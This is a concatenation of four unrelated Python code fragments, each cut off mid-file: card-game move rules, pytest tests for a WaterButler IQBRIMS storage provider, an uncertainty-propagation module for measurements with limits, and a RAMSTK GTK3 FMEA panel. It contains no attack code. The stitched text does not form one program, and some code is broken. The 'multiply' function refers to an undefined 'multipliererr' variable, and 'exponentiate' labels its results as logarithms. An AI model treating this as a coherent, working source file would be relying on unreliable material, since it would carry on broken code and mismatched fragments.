colors] [possible_plays.append(card) for card in hand if card in req_value] return possible_plays, len(possible_plays) > 0 def active_card_possible_plays(hand, top_card, requested_color=None, requested_value=None): """ Function used to evaluate possible plays for given hand and special card from top of table. :param hand: list of cards on player hand :param top_card: tuple with card on top of a table :param requested_color: string with requested color :param requested_value: string with requested value :return: list of possible plays, bool value if there is any move """ attack = False possible_plays, req_value, req_color, from_color = [], [], [], [] from_value = [(color, top_card[1]) for color in colors] if top_card[1] in '2 3 K'.split(): from_color = [(top_card[0], value) for value in '2 3 K'.split()] attack = True if requested_value: req_value = [(color, requested_value) for color in colors] elif top_card[1] == 'J': req_color = [(top_card[0], value) for value in values] if requested_color: req_color = [(requested_color, value) for value in values] elif top_card[1] == 'A': req_color = [(top_card[0], value) for value in values] [possible_plays.append(card) for card in hand if card in req_color + req_value + from_value + from_color] possible_plays = list(set(possible_plays)) [possible_plays.remove(king) for king in [('tiles', 'K'), ('clovers', 'K')] if attack and king in possible_plays] return possible_plays, len(possible_plays) > 0 def check_card_played_active(laid_card): """ Function used to check if card is a special kind of card with additional rules. :param laid_card: tuple with last played card :return: bool value, True if card is special, False otherwise """ if laid_card in [('hearts', 'K'), ('pikes', 'K')]: return True value = laid_card[1] if value in '2 3 4 J A'.split(): return True return False def evaluate_cards_to_take(laid_card, cards_to_take=0): """ Function used to evaluate how many cards have to be taken as a punish. :param laid_card: tuple with last played card :param cards_to_take: integer value with earlier punishment :return: integer value with punishment after card played """ if laid_card in [('hearts', 'K'), ('pikes', 'K')]: cards_to_take += 5 value = laid_card[1] if value in ['2', '3']: cards_to_take += int(value) return cards_to_take def evaluate_turns_to_wait(laid_card, turns_to_wait=0): """ Function used to evaluate number of turns to wait. :param laid_card: tuple with last played card :param turns_to_wait: integer value with earlier punishment :return: integer value with punishment after card played """ value = laid_card[1] if value == '4': turns_to_wait += 1 return turns_to_wait async def evaluate_requested_value(laid_card, input_foo): """ Function used to evaluate requested value of cards when player play jack special card. :param laid_card: tuple with last played card :param input_foo: function used to ask player about value :return: string object of requested value or None """ value = laid_card[1] requested_value = None if value == 'J': requested_value = await input_foo('Enter VALUE of requested cards: ') if requested_value not in '5 6 7 8 9 10'.split(): requested_value = None return requested_value async def evaluate_requested_color(laid_card, input_foo): """ Function used to evaluate requested color of cards when player play ace special card. :param laid_card: tuple with last played card :param input_foo: function used to ask player about value :return: string object of requested color or None """ value = laid_card[1] requested_color = None if value == 'A': requested_color = await input_foo('Enter COLOR of requested cards: ') if requested_color not in colors: requested_color = None return requested_color def check_if_pack_on_hand(hand): """ Function used to check if player have a pack of cards on hand. :param hand: list of cards on player hand :return: list of cards values which can be played as pack """ tmp = {} for card in hand: if card[1] in tmp.keys(): tmp[card[1]] += 1 else: tmp[card[1]] = 1 keys = tmp.keys() packs = [] for key in keys: if tmp[key] >= 3: packs.append(key) return packs def check_if_packs_can_be_played(packs, possible_plays): """ Function used to check if player can play a pack of cards in turn. :param packs: list with packs of cards on hand :param possible_plays: list with all possible cards to play :return: list with possible to play packs """ possible_packs = [] [possible_packs.append(pack) for pack in packs for card in possible_plays if pack == card[1]] return list(set(possible_packs)) def convert_to_card(played): """ Function used to convert player response as a string to card tuple. :param played: string description of a card :return: tuple with color and value of a card """ color = None value = None chopped = played.split(' ') for _, data in enumerate(chopped): if data in colors: color = data elif data in values: value = data if color is not None and value is not None: return color, value return None async def additional_actions(played_card, cards_to_take, turns_to_wait, input_foo): """ Function combines all other functions used to take additional action for played card. :param played_card: tuple with played card :param cards_to_take: integer value of cards to take :param turns_to_wait: integer value of turns to skip :param input_foo: function used to ask player about value :return: integer with cards to take, string with requested color, string with requested value, integer value with turns to skip """ requested_value = await evaluate_requested_value(played_card, input_foo) requested_color = await evaluate_requested_color(played_card, input_foo) cards_to_take = evaluate_cards_to_take(played_card, cards_to_take) turns_to_wait = evaluate_turns_to_wait(played_card, turns_to_wait) return cards_to_take, requested_color, requested_value, turns_to_wait def take_cards_punishment(player, deck, table, lied_card=None, cards_to_take=0): """ Function used to punish player with cards. :param player: Player objects :param deck: list with cards inside deck :param table: list with cards on table :param lied_card: tuple with last lied card :param cards_to_take: integer value of take card punishment :return: integer of cards to take, list with cards inside deck, last lied card """ if len(deck) <= cards_to_take: player.print_foo('Not enough cards in the deck. Grabbing from the table.')
import io import os import copy import json from http import client from urllib import parse import pytest import aiohttpretty from waterbutler.core import streams from waterbutler.core import exceptions from waterbutler.core.path import WaterButlerPath from waterbutler.providers.iqbrims import settings as ds from waterbutler.providers.iqbrims import IQBRIMSProvider from waterbutler.providers.iqbrims import utils as drive_utils from waterbutler.providers.iqbrims.provider import IQBRIMSPath from waterbutler.providers.iqbrims.metadata import (IQBRIMSRevision, IQBRIMSFileMetadata, IQBRIMSFolderMetadata, IQBRIMSFileRevisionMetadata) from tests.providers.googledrive.fixtures import(error_fixtures, sharing_fixtures, revision_fixtures, root_provider_fixtures) @pytest.fixture def file_content(): return b'SLEEP IS FOR THE WEAK GO SERVE STREAMS' @pytest.fixture def file_like(file_content): return io.BytesIO(file_content) @pytest.fixture def file_stream(file_like): return streams.FileStreamReader(file_like) @pytest.fixture def auth(): return { 'name': 'cat', 'email': '<EMAIL>', } @pytest.fixture def credentials(): return {'token': '<PASSWORD>'} @pytest.fixture def other_credentials(): return {'token': '<PASSWORD>'} @pytest.fixture def settings(): return { 'folder': { 'id': '19003e', 'name': '/conrad/birdie', }, } @pytest.fixture def provider(auth, credentials, settings): return IQBRIMSProvider(auth, credentials, settings) @pytest.fixture def other_provider(auth, other_credentials, settings): return IQBRIMSProvider(auth, other_credentials, settings) @pytest.fixture def search_for_file_response(): return { 'items': [ {'id': '1234ideclarethumbwar'} ] } @pytest.fixture def no_file_response(): return { 'items': [] } @pytest.fixture def actual_file_response(): return { 'id': '1234ideclarethumbwar', 'mimeType': 'text/plain', 'title': 'B.txt', } @pytest.fixture def search_for_folder_response(): return { 'items': [ {'id': 'whyis6afraidof7'} ] } @pytest.fixture def no_folder_response(): return { 'items': [] } @pytest.fixture def actual_folder_response(): return { 'id': 'whyis6afraidof7', 'mimeType': 'application/vnd.google-apps.folder', 'title': 'A', } def make_unauthorized_file_access_error(file_id): message = ('The authenticated user does not have the required access ' 'to the file {}'.format(file_id)) return json.dumps({ "error": { "errors": [ { "reason": "userAccess", "locationType": "header", "message": message, "location": "Authorization", "domain": "global" } ], "message": message, "code": 403 } }) def make_no_such_revision_error(revision_id): message = 'Revision not found: {}'.format(revision_id) return json.dumps({ "error": { "errors": [ { "reason": "notFound", "locationType": "other", "message": message, "location": "revision", "domain": "global" } ], "message": message, "code": 404 } }) def clean_query(query: str): # Replace \ with \\ and ' with \' # Note only single quotes need to be escaped return query.replace('\\', r'\\').replace("'", r"\'") def _build_title_search_query(provider, entity_name, is_folder=True): return "title = '{}' " \ "and trashed = false " \ "and mimeType != 'application/vnd.google-apps.form' " \ "and mimeType != 'application/vnd.google-apps.map' " \ "and mimeType != 'application/vnd.google-apps.document' " \ "and mimeType != 'application/vnd.google-apps.drawing' " \ "and mimeType != 'application/vnd.google-apps.presentation' " \ "and mimeType != 'application/vnd.google-apps.spreadsheet' " \ "and mimeType {} '{}'".format( entity_name, '=' if is_folder else '!=', provider.FOLDER_MIME_TYPE ) def generate_list(child_id, **kwargs): item = {} item.update(root_provider_fixtures()['list_file']['items'][0]) item.update(kwargs) item['id'] = str(child_id) return {'items': [item]} class TestValidatePath: @pytest.mark.asyncio @pytest.mark.aiohttpretty async def test_validate_v1_path_file(self, provider, search_for_file_response, actual_file_response, no_folder_response): file_name = 'file.txt' file_id = '1234ideclarethumbwar' query_url = provider.build_url( 'files', provider.folder['id'], 'children', q=_build_title_search_query(provider, file_name, False), fields='items(id)' ) wrong_query_url = provider.build_url( 'files', provider.folder['id'], 'children', q=_build_title_search_query(provider, file_name, True), fields='items(id)' ) specific_url = provider.build_url('files', file_id, fields='id,title,mimeType') aiohttpretty.register_json_uri('GET', query_url, body=search_for_file_response) aiohttpretty.register_json_uri('GET', wrong_query_url, body=no_folder_response) aiohttpretty.register_json_uri('GET', specific_url, body=actual_file_response) try: wb_path_v1 = await provider.validate_v1_path('/' + file_name) except Exception as exc: pytest.fail(str(exc)) with pytest.raises(exceptions.NotFoundError) as exc: await provider.validate_v1_path('/' + file_name + '/') assert exc.value.code == client.NOT_FOUND wb_path_v0 = await provider.validate_path('/' + file_name) assert wb_path_v1 == wb_path_v0 @pytest.mark.asyncio @pytest.mark.aiohttpretty async def test_validate_v1_path_folder(self, provider, search_for_folder_response, actual_folder_response, no_file_response): folder_name = 'foofolder' folder_id = 'whyis6afraidof7' query_url = provider.build_url( 'files', provider.folder['id'], 'children', q=_build_title_search_query(provider, folder_name, True), fields='items(id)' ) wrong_query_url = provider.build_url( 'files', provider.folder['id'], 'children', q=_build_title_search_query(provider, folder_name, False), fields='items(id)' ) specific_url = provider.build_url('files', folder_id, fields='id,title,mimeType') aiohttpretty.register_json_uri('GET', query_url, body=search_for_folder_response) aiohttpretty.register_json_uri('GET', wrong_query_url, body=no_file_response) aiohttpretty.register_json_uri('GET', specific_url, body=actual_folder_response) try: wb_path_v1 = await provider.validate_v1_path('/' + folder_name + '/') except Exception as exc: pytest.fail(str(exc)) with pytest.raises(exceptions.NotFoundError) as exc: await provider.validate_v1_path('/' + folder_name) assert exc.value.code == client.NOT_FOUND wb_path_v0 = await provider.validate_path('/' + folder_name + '/') assert wb_path_v1 == wb_path_v0 @pytest.mark.asyncio @pytest.mark.aiohttpretty async def test_validate_v1_path_root(self, provider): path = '/' result = await provider.validate_v1_path(path) expected = IQBRIMSPath('/', _ids=[provider.folder['id']], folder=True) assert result == expected @pytest.mark.asyncio @pytest.mark.aiohttpretty async def test_revalidate_path_file(self, provider, root_provider_fixtures): file_name = '/Gear1.stl' revalidate_path_metadata = root_provider_fixtures['revalidate_path_file_metadata_1'] file_id = revalidate_path_metadata['items'][0]['id'] path = IQBRIMSPath(file_name, _ids=['0', file_id]) parts = [[parse.unquote(x), True] for x in file_name.strip('/').split('/')] parts[-1][1] = False current_part = parts.pop(0) part_name, part_is_folder = current_part[0], current_part[1] name, ext = os.path.splitext(part_name) query = _build_title_search_query(provider, file_name.strip('/'), False) url = provider.build_url('files', file_id, 'children', q=query, fields='items(id)') aiohttpretty.register_json_uri('GET', url, body=revalidate_path_metadata) url = provider.build_url('files', file_id, fields='id,title,mimeType') aiohttpretty.register_json_uri('GET', url, body=root_provider_fixtures['revalidate_path_file_metadata_2']) result = await provider.revalidate_path(path, file_name) assert result.name in path.name @pytest.mark.asyncio @pytest.mark.aiohttpretty async def test_revalidate_path_file_gdoc(self, provider, root_provider_fixtures): file_name = '/Gear1.gdoc' file_id = root_provider_fixtures['revalidate_path_file_metadata_1']['items'][0]['id'] path = IQBRIMSPath(file_name, _ids=['0', file_id]) parts = [[parse.unquote(x), True] for x in file_name.strip('/').split('/')] parts[-1][1] = False current_part = parts.pop(0) part_name, part_is_folder = current_part[0], current_part[1] name, ext = os.path.splitext(part_name) gd_ext = drive_utils.get_mimetype_from_ext(ext) query = "title = '{}' " \ "and trashed = false " \ "and mimeType = '{}'".format(clean_query(name), gd_ext) url = provider.build_url('files', file_id, 'children', q=query, fields='items(id)') aiohttpretty.register_json_uri('GET', url, body=root_provider_fixtures['revalidate_path_file_metadata_1']) url = provider.build_url('files', file_id, fields='id,title,mimeType') aiohttpretty.register_json_uri('GET', url, body=root_provider_fixtures['revalidate_path_gdoc_file_metadata']) result = await provider.revalidate_path(path, file_name) assert result.name in path.name @pytest.mark.asyncio @pytest.mark.aiohttpretty async def test_revalidate_path_folder(self, provider, root_provider_fixtures): file_name = "/inception folder yo/" file_id = root_provider_fixtures['revalidate_path_folder_metadata_1']['items'][0]['id'] path = IQBRIMSPath(file_name, _ids=['0', file_id]) parts = [[parse.unquote(x), True] for x in file_name.strip('/').split('/')] parts[-1][1] = False current_part = parts.pop(0) part_name, part_is_folder = current_part[0], current_part[1] name, ext = os.path.splitext(part_name) query = _build_title_search_query(provider, file_name.strip('/') + '/', True) folder_one_url = provider.build_url('files', file_id, 'children', q=query, fields='items(id)') aiohttpretty.register_json_uri('GET', folder_one_url, body=root_provider_fixtures['revalidate_path_folder_metadata_1']) folder_two_url = provider.build_url('files', file_id, fields='id,title,mimeType') aiohttpretty.register_json_uri('GET', folder_two_url, body=root_provider_fixtures['revalidate_path_folder_metadata_2']) result = await provider.revalidate_path(path, file_name, True) assert result.name in path.name class TestUpload: @pytest.mark.asyncio @pytest.mark.aiohttpretty async def test_upload_create(self, provider, file_stream, root_provider_fixtures): upload_id = '7' item = root_provider_fixtures['list_file']['items'][0] path = WaterButlerPath('/birdie.jpg', _ids=(provider.folder['id'], None)) start_upload_url = provider._build_upload_url('files', uploadType='resumable') finish_upload_url = provider._build_upload_url('files', uploadType='resumable', upload_id=upload_id) aiohttpretty.register_json_uri('PUT', finish_upload_url, body=item) aiohttpretty.register_uri('POST', start_upload_url, headers={'LOCATION': 'http://waterbutler.io?upload_id={}'.format(upload_id)}) result, created = await provider.upload(file_stream, path) expected = IQBRIMSFileMetadata(item, path) assert created is True assert result == expected assert aiohttpretty.has_call(method='PUT', uri=finish_upload_url) assert aiohttpretty.has_call(method='POST', uri=start_upload_url) @pytest.mark.asyncio @pytest.mark.aiohttpretty async def test_upload_doesnt_unquote(self, provider, file_stream, root_provider_fixtures): upload_id = '7' item = root_provider_fixtures['list_file']['items'][0] path = IQBRIMSPath('/birdie%2F %20".jpg', _ids=(provider.folder['id'], None)) start_upload_url = provider._build_upload_url('files', uploadType='resumable') finish_upload_url = provider._build_upload_url('files', uploadType='resumable', upload_id=upload_id) aiohttpretty.register_json_uri('PUT', finish_upload_url, body=item) aiohttpretty.register_uri('POST', start_upload_url, headers={'LOCATION': 'http://waterbutler.io?upload_id={}'.format(upload_id)}) result, created = await provider.upload(file_stream, path) expected = IQBRIMSFileMetadata(item, path) assert created is True assert result == expected assert aiohttpretty.has_call(method='POST', uri=start_upload_url) assert aiohttpretty.has_call(method='PUT', uri=finish_upload_url) @pytest.mark.asyncio @pytest.mark.aiohttpretty async def test_upload_update(self, provider, file_stream, root_provider_fixtures): upload_id = '7' item = root_provider_fixtures['list_file']['items'][0] path = WaterButlerPath('/birdie.jpg', _ids=(provider.folder['id'], item['id'])) start_upload_url = provider._build_upload_url('files', path.identifier, uploadType='resumable') finish_upload_url = provider._build_upload_url('files', path.identifier, uploadType='resumable', upload_id=upload_id) aiohttpretty.register_json_uri('PUT', finish_upload_url, body=item) aiohttpretty.register_uri('PUT', start_upload_url, headers={'LOCATION': 'http://waterbutler.io?upload_id={}'.format(upload_id)}) result, created = await provider.upload(file_stream, path) assert aiohttpretty.has_call(method='PUT', uri=start_upload_url) assert aiohttpretty.has_call(method='PUT', uri=finish_upload_url) assert created is False expected = IQBRIMSFileMetadata(item, path) assert result == expected @pytest.mark.asyncio @pytest.mark.aiohttpretty async def test_upload_create_nested(self, provider, file_stream, root_provider_fixtures): upload_id = '7' item = root_provider_fixtures['list_file']['items'][0] path = WaterButlerPath( '/ed/sullivan/show.mp3', _ids=[str(x) for x in range(3)] ) start_upload_url = provider._build_upload_url('files', uploadType='resumable') finish_upload_url = provider._build_upload_url('files', uploadType='resumable', upload_id=upload_id) aiohttpretty.register_uri('POST', start_upload_url, headers={'LOCATION': 'http://waterbutler.io?upload_id={}'.format(upload_id)}) aiohttpretty.register_json_uri('PUT', finish_upload_url, body=item) result, created = await provider.upload(file_stream, path) assert aiohttpretty.has_call(method='POST', uri=start_upload_url) assert aiohttpretty.has_call(method='PUT', uri=finish_upload_url) assert created is True expected = IQBRIMSFileMetadata(item, path) assert result == expected @pytest.mark.asyncio @pytest.mark.aiohttpretty async def test_upload_checksum_mismatch(self, provider, file_stream, root_provider_fixtures): upload_id = '7' path = WaterButlerPath('/birdie.jpg', _ids=(provider.folder['id'], None)) start_upload_url = provider._build_upload_url('files', uploadType='resumable') finish_upload_url = provider._build_upload_url('files', uploadType='resumable', upload_id=upload_id) aiohttpretty.register_json_uri('PUT', finish_upload_url, body=root_provider_fixtures['checksum_mismatch_metadata']) aiohttpretty.register_uri('POST', start_upload_url, headers={'LOCATION': 'http://waterbutler.io?upload_id={}'.format(upload_id)}) with pytest.raises(exceptions.UploadChecksumMismatchError) as exc: await provider.upload(file_stream, path) assert aiohttpretty.has_call(method='PUT', uri=finish_upload_url) assert aiohttpretty.has_call(method='POST', uri=start_upload_url) class TestDownload: """Google Docs (incl. Google Sheets, Google Slides, etc.) require extra API calls and use a different branch for downloading/exporting files than non-GDoc files. For brevity's sake our non-gdoc test files are called jpegs, though it could stand for any type of file. We want to test all the permutations of: * editability: editable vs. viewable files * file type: Google doc vs. non-Google Doc (e.g. jpeg) * revision parameter: non, valid, invalid, and magic Non-editable (viewable) GDocs do not support revisions, so the good and bad revisions tests are the same. Both should 404. The notion of a GDOC_GOOD_REVISION being the same as a JPEG_BAD_REVISION and vice-versa is an unnecessary flourish for testing purposes. I'm only including it to remind developers that GDoc revisions look very different from non-GDoc revisions in production. """ GDOC_GOOD_REVISION = '1' GDOC_BAD_REVISION = '0B74RCNS4TbRVTitFais4VzVmQlQ4S0docGlhelk5MXE3OFJnPQ' JPEG_GOOD_REVISION = GDOC_BAD_REVISION JPEG_BAD_REVISION = GDOC_GOOD_REVISION MAGIC_REVISION = '"LUxk1DXE_0fd4yeJDIgpecr5uPA/MTQ5NTExOTgxMzgzOQ"{}'.format( ds.DRIVE_IGNORE_VERSION) GDOC_EXPORT_MIME_TYPE = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' @pytest.mark.asyncio @pytest.mark.aiohttpretty async def test_download_editable_gdoc_no_revision(self, provider, sharing_fixtures): metadata_body = sharing_fixtures['editable_gdoc']['metadata'] path = IQBRIMSPath( '/sharing/editable_gdoc', _ids=['1', '2', metadata_body['id']] ) metadata_query = provider._build_query(path.identifier) metadata_url = provider.build_url('files', path.identifier) aiohttpretty.register_json_uri('GET', metadata_url, body=metadata_body) revisions_body = sharing_fixtures['editable_gdoc']['revisions'] revisions_url = provider.build_url('files', metadata_body['id'], 'revisions') aiohttpretty.register_json_uri('GET', revisions_url, body=revisions_body) file_content = b'we love you conrad' download_file_url = metadata_body['exportLinks'][self.GDOC_EXPORT_MIME_TYPE] aiohttpretty.register_uri('GET', download_file_url, body=file_content, auto_length=True) result = await provider.download(path) assert result.name == 'editable_gdoc.docx' content = await result.read() assert
'''The statop module handles calculations where uncertainty has to be handle. All uncertainties are currently handled through quadrature. So they take the form of "\sigma_y = \sum_i \left(\frac{dy}{dx_i}\right) \sigma_{x_i}". The functionality in this module would be AWESOME if it were transferred to a class. However, that's a lot of scaffolding I don't want to deal with right now. But subclassing Quantity may be worth it in the future, when I'm less invested in the way things are now. These functions take a set of three arguments for each variable: the value, the error, and a code indicating whether it's a limit or not. The codes are given in the exported constants: UPPER_LIMIT_SYMBOL, LOWER_LIMIT_SYMBOL, DATA_POINT_SYMBOL, and NO_LIMIT_SYMBOL, abbreviated as UPPER, LOWER, DETECTION, and NA, respectively. By referencing these constants, it should not be necessary to use the character symbols themselves, except for debugging purposes. The syntax for most of these functions will take the form: func(*values, *errors, *limits). When exceptions to this form occurs, check the docstring. The function returns a 3-tuple containing the new value, error and limit. ''' import numpy as np import matplotlib.pyplot as plt from astropy.table import Column UPPER_LIMIT_SYMBOL = 'u' LOWER_LIMIT_SYMBOL = 'l' DATA_POINT_SYMBOL = 'd' NO_LIMIT_SYMBOL = 'n' UPPER = UPPER_LIMIT_SYMBOL LOWER = LOWER_LIMIT_SYMBOL NA = NO_LIMIT_SYMBOL DETECTION = DATA_POINT_SYMBOL def generate_limit(testlim, length): '''If testlim is None, generate an array of default limits with length. If testlim is valid, then it will be returned. ''' if testlim is None: testlim = np.array([DETECTION]*length) return testlim def invert_limits(limits): '''Toggles between upper and lower limits. UPPER and LOWER limits will switch, while valid/unconstrained values will remain as they were. ''' newlimits = np.array(limits, subok=True) upperindices = np.where(limits == UPPER) lowerindices = np.where(limits == LOWER) # For the case when limits is not an array, but just a float. try: newlimits[upperindices] = LOWER newlimits[lowerindices] = UPPER except IndexError: if upperindices[0].shape[0] == 1: newlimits = LOWER elif lowerindices[0].shape[0] == 1: newlimits = UPPER elif limits == DETECTION or limits == NA: newlimits = limits else: raise ValueError("Limit is not recognizable") return newlimits def combine_limits(lim1, lim2): '''Combines arrays of limits according to combine_limit. See combine_limit for the algebra ''' limitlist = [combine_limit(v1, v2) for (v1, v2) in zip(lim1, lim2)] if isinstance(lim1, Column) and isinstance(lim2, Column): newlimits = Column(limitlist) else: newlimits = np.array(limitlist) return newlimits def combine_inverted_limits(lim1, lim2): '''This is used for cases where one of the limits needs to be flipped. This is common in cases like subtraction or division. Basically if one of the operations is monotonic decreasing. ''' return combine_limits(lim1, invert_limits(lim2)) def combine_limit(lim1, lim2): '''Combines limits in a logically valid way. The set of rules which govern limits are: u + u -> u u + l -> n u + 0 -> u u + n -> n l + u -> n l + l -> l l + 0 -> l l + n -> n 0 + u -> u 0 + l -> l 0 + 0 -> 0 0 + n -> n n + u -> n n + l -> n n + 0 -> n n + n -> n ''' # Implementation details. # Utilizing the symmetric property of these will only require cases for: ## u + u -> u ## u + l -> n ## u + 0 -> u ## u + n -> n ## l + l -> l ## l + 0 -> l ## l + n -> n ## 0 + 0 -> 0 ## 0 + n -> n ## n + n -> n # This makes 10 relations # One easy thing to program is if lim2 == NA: return NA # 6 left elif lim1 == lim2: return lim1 # 3 left elif lim2 == DETECTION: return lim1 # 1 left elif lim1 == UPPER and lim2 == LOWER: return NA else: return combine_limit(lim2, lim1) def subtract(minuend, subtrahend, minuerr, subtraerr, minulim=None, subtralim=None): '''Returns statistically subtracted value of two arrays. This function takes two arrays involving two measurements with errors which may be upper or lower limits. It then returns a 3-tuple. The first element is simply the difference of the values. The second is the error of the difference. And the third represents whether the differences are limits or not. If limits are not given, then the third element will simply be limits indicating all data points are valid. ''' try: minulim = generate_limit(minulim, len(minuend)) except TypeError: minulim = generate_limit(minulim, 1)[0] try: subtralim = generate_limit(subtralim, len(subtrahend)) except TypeError: subtralim = generate_limit(subtralim, 1)[0] difference, differr, difflim = add( minuend, -subtrahend, minuerr, subtraerr, minulim, invert_limits(subtralim)) return (difference, differr, difflim) def add(augend, addend, augerr, adderr, auglim=None, addlim=None): '''Returns the statistically summed value of two arrays. This function takes two arrays involving two measurements with errors. It then returns a 2-tuple. The first value is simply the sum, and the second is the error on the sum. ''' try: auglim = generate_limit(auglim, len(augend)) except TypeError: auglim = generate_limit(auglim, 1)[0] try: addlim = generate_limit(addlim, len(addend)) except TypeError: addlim = generate_limit(addlim, 1)[0] sums = augend + addend sumerr = np.sqrt(augerr**2 + adderr**2) sumlim = combine_limits(auglim, addlim) return (sums, sumerr, sumlim) def divide(dividend, divisor, dividenderr, divisorerr, dividendlim=None, divisorlim=None): '''Returns the statistically divided quotient of two arrays. This function takes two arrays involving two measurements with errors. It then returns a 2-tuple. The first is simply the ratio of the numbers. The second is the error of that ratio.''' try: dividendlim = generate_limit(dividendlim, len(dividend)) except TypeError: dividendlim = generate_limit(dividendlim, 1)[0] try: divisorlim = generate_limit(divisorlim, len(divisor)) except TypeError: divisorlim = generate_limit(divisorlim, 1)[0] quotient = dividend / divisor # This is more robust to the dividend being equal to zero. If the divisor # is equal to zero, we will still have problems. quoterrs = np.sqrt( (dividenderr / divisor)**2 + (dividend * divisorerr / divisor**2)**2) quotlims = combine_inverted_limits(dividendlim, divisorlim) return quotient, quoterrs, quotlims def multiply(multiplicand, multiplier, multiplicerr, multiplierr, multipliclim=None, multiplilim=None): '''Returns the statistically multiplied product of two arrays. This function takes two arrays involving two measurements with errors. It returns a 2-tuple. The first value of the tuple is the product; the second is the error of that product. ''' try: multipliclim = generate_limit(multipliclim, len(multiplicand)) except TypeError: multipliclim = generate_limit(multipliclim, 1)[0] try: multiplilim = generate_limit(multiplilim, len(multiplier)) except TypeError: multiplilim = generate_limit(multiplilim, 1)[0] product = multiplicand * multiplier # I could do this the fancy way, but the fancy way fails if either of the # multiplicand or multiplier are zero. So let's not. producterr = np.sqrt( (multiplier * multiplicerr)**2 + (multiplicand * multipliererr)**2) productlim = combine_limits(multipliclim, multiplilim) return product, producterr, productlim def fractional_difference(num, denom, numerr, denomerr, numlim=None, denomlim=None): '''Returns the fractional difference between num and denom. This equation takes the fractional difference (denom-num)/denom. It returns a 2-tuple. The first value of the tuple is the fraction, and the second is the error on that fraction. ''' frac, fracerr, fraclim = divide( num, denom, numerr, denomerr, numlim, denomlim) fracdiff = 1 - frac return fracdiff, fracerr, invert_limits(fraclim) def exponentiate(base, power, baserr, powerr, baselim=None, powlim=None): '''Returns the exponentiation of the given exponent. Base can be given as any base. It returns a 2-tuple. The first value of the tuple is the exponentiation, and the second is the error on that exponentiation. ''' try: baselim = generate_limit(baselim, len(base)) except TypeError: baselim = generate_limit(baselim, 1)[0] try: powlim = generate_limit(powlim, len(power)) except TypeError: powlim = generate_limit(powlim, 1)[0] logarithm = base**power logerr = np.sqrt((logarithm * np.log(base) * powerr)**2 + ( power * base**(power-1) * baserr)**2) loglim = combine_limits(baselim, powlim) return logarithm, logerr, loglim def logarithm(num, numerr, base=10, numlim=None): '''Returns the logarithm of the given number. Base can be given as any base. It returns a 2-tuple. The first value of the tuple is the logarithm, and the second is the error on the logarithm. ''' try: numlim = generate_limit(numlim, len(num)) except TypeError: numlim = generate_limit(numlim, 1)[0] exponent = np.log(num) / np.log(base) experr = numerr
<gh_stars>1-10 # -*- coding: utf-8 -*- # # ramstk.views.gtk3.fmea.panel.py is part of the RAMSTK Project # # All rights reserved. # Copyright since 2007 Doyle "weibullguy" Rowland doyle.rowland <AT> reliaqual <DOT> com """GTK3 FMEA Panels.""" # Standard Library Imports from typing import Any, Dict, List, Tuple, Union # Third Party Imports import treelib from pubsub import pub # RAMSTK Package Imports from ramstk.views.gtk3 import GdkPixbuf, Gtk, _ from ramstk.views.gtk3.widgets import ( RAMSTKCheckButton, RAMSTKFixedPanel, RAMSTKLabel, RAMSTKTextView, RAMSTKTreePanel, ) class FMEAMethodPanel(RAMSTKFixedPanel): """Panel to display FMEA criticality methods.""" # Define private dictionary class attributes. # Define private list class attributes. # Define private scalar class attributes. _record_field = "mode_id" _select_msg = "succeed_retrieve_all_mode" _tag = "fmeca" _title = _("FMEA Risk Analysis Method") # Define public dictionary class attributes. # Define public list class attributes. # Define public scalar class attributes. def __init__(self): """Initialize an instance of the FMEA methods panel.""" super().__init__() # Initialize widgets. self.chkCriticality: RAMSTKCheckButton = RAMSTKCheckButton( label=_("Calculate Criticality") ) self.chkRPN: RAMSTKCheckButton = RAMSTKCheckButton(label=_("Calculate RPNs")) self.txtItemCriticality: RAMSTKTextView = RAMSTKTextView(Gtk.TextBuffer()) # Initialize private dictionary attributes. # Initialize private list attributes. # Initialize private scalar attributes. self._on_edit_message = f"wvw_editing_{self._tag}" # Initialize public dictionary attributes. self.dic_attribute_widget_map = { "type_id": [ 27, self.chkCriticality, "toggled", super().on_toggled, self._on_edit_message, 1, { "tooltip": _( "Select this option to calculate the MIL-STD-1629, Task 102 " "criticality analysis." ), }, _("Calculate Criticality"), "gint", ], "rpn": [ 27, self.chkRPN, "toggled", super().on_toggled, self._on_edit_message, 1, { "tooltip": _( "Select this option to calculate the Risk Priority Number " "(RPN)." ), }, _("Calculate RPN"), "gint", ], "item_criticality": [ 28, self.txtItemCriticality, "changed", super().on_changed_entry, "", "", { "bold": True, "editable": False, "height": 125, "tooltip": _( "Displays the MIL-STD-1629A, Task 102 item criticality for " "the selected hardware item." ), }, _("Item Criticality:"), "gchararray", ], } # Initialize public list attributes. # Initialize public scalar attributes. super().do_set_properties() super().do_make_panel() super().do_set_callbacks() # Move the item criticality RAMSTKTextView() below it's label. _fixed: Gtk.Fixed = self.get_children()[0].get_children()[0].get_child() _label: RAMSTKLabel = _fixed.get_children()[-2] _x_pos: int = _fixed.child_get_property(_label, "x") _y_pos: int = _fixed.child_get_property(_label, "y") + 25 _fixed.move(self.txtItemCriticality.scrollwindow, _x_pos, _y_pos) # Subscribe to PyPubSub messages. pub.subscribe( self._do_load_item_criticality, "succeed_calculate_mode_criticality", ) def _do_load_item_criticality(self, item_criticality: Dict[str, float]) -> None: """Update the item criticality RAMSTKTextView() with the results. :param item_criticality: the item criticality for the selected hardware item. :return: None :rtype: None """ _item_criticality = "" for _key, _value in item_criticality.items(): _item_criticality = _item_criticality + _key + ": " + str(_value) + "\n" self.txtItemCriticality.do_update(_item_criticality, "changed") class FMEATreePanel(RAMSTKTreePanel): """Panel to display FMEA analysis.""" # Define private dictionary class attributes. _dic_visible_mask: Dict[str, List[bool]] = { "mode": [ True, False, False, False, False, False, False, True, True, True, True, True, True, True, True, True, True, True, True, True, True, True, True, True, True, True, False, True, False, False, True, False, False, False, False, False, False, False, False, False, True, False, False, True, True, True, False, True, ], "mechanism": [ True, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, True, True, True, False, False, False, False, False, False, False, False, False, False, True, True, True, False, False, True, False, ], "cause": [ True, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, ], "control": [ True, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, ], "action": [ True, False, False, False, False, False, False, True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, True, True, True, True, True, True, True, True, True, 